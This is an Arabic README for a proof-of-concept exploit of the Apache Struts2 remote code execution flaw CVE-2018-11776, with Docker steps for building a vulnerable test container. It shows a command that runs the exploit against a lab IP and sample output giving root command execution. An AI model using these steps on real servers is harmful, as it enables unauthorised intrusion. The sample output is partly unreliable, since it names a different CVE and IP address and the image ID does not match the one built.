
استغلال إثبات المفهوم بلغة Python لثغرة تنفيذ التعليمات البرمجية عن بُعد في Apache Struts2 CVE-2018-11776، مع حاوية Docker للاختبار ضد الإصدارات المتأثرة 2.3-2.3.34 و 2.5-2.5.16.
هذا مبني على https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. بناء الحاوية والتعليمات لم تعمل كما هو موصوف في ملف README، لذا تم إنشاء هذا التفريع. الاستغلال التجريبي المستخدم هو من Rapid7.
تحية:
hook-s3c (github.com/hook-s3c)، @hook_s3c على تويتر
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
قام Man Yue Mo من Semmle بالكشف عن ثغرة تنفيذ أوامر عن بُعد (RCE) في Struts2، يتم توصيلها في حمولة مشفرة ضمن مسار URL للطلب.
الإصدارات المتأثرة هي 2.3 إلى 2.3.34، و2.5 إلى 2.5.16.
التكوين الافتراضي ليس عرضة للخطر. هذه الحاوية، والعديد غيرها، عرضة للخطر.
من الأفضل بناء حاوية من Dockerfile عندما يمكنك رؤية ما يدخل في البناء.
git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts
ابحث عن الحاوية الجديدة باستخدام
docker images
يجب أن يكون الناتج مشابهًا لهذا، حيث يمكنك الحصول على معرّف الصورة.
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
قم ببناء وبدء حاوية باستخدام التالي.
docker run -d --name apachestruts -p 8080:8080 d39018c50afe
تأكد من أن جدران الحماية للدخول/الخروج تسمح بالمنفذ الذي حددته سابقًا (8080)، وقم بتشغيل الاستغلال ضد هدفك باستخدام التالي.
python struts.py http://192.168.2.188:8080 'id'
يجب أن يكون ناتجك مشابهًا لهذا.
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id' [*] CVE: 2017-5638 - Apache Struts2 S2-045 http://13.88.250.188:8080 : [*] cmd: id uid=0(root) gid=0(root) groups=0(root)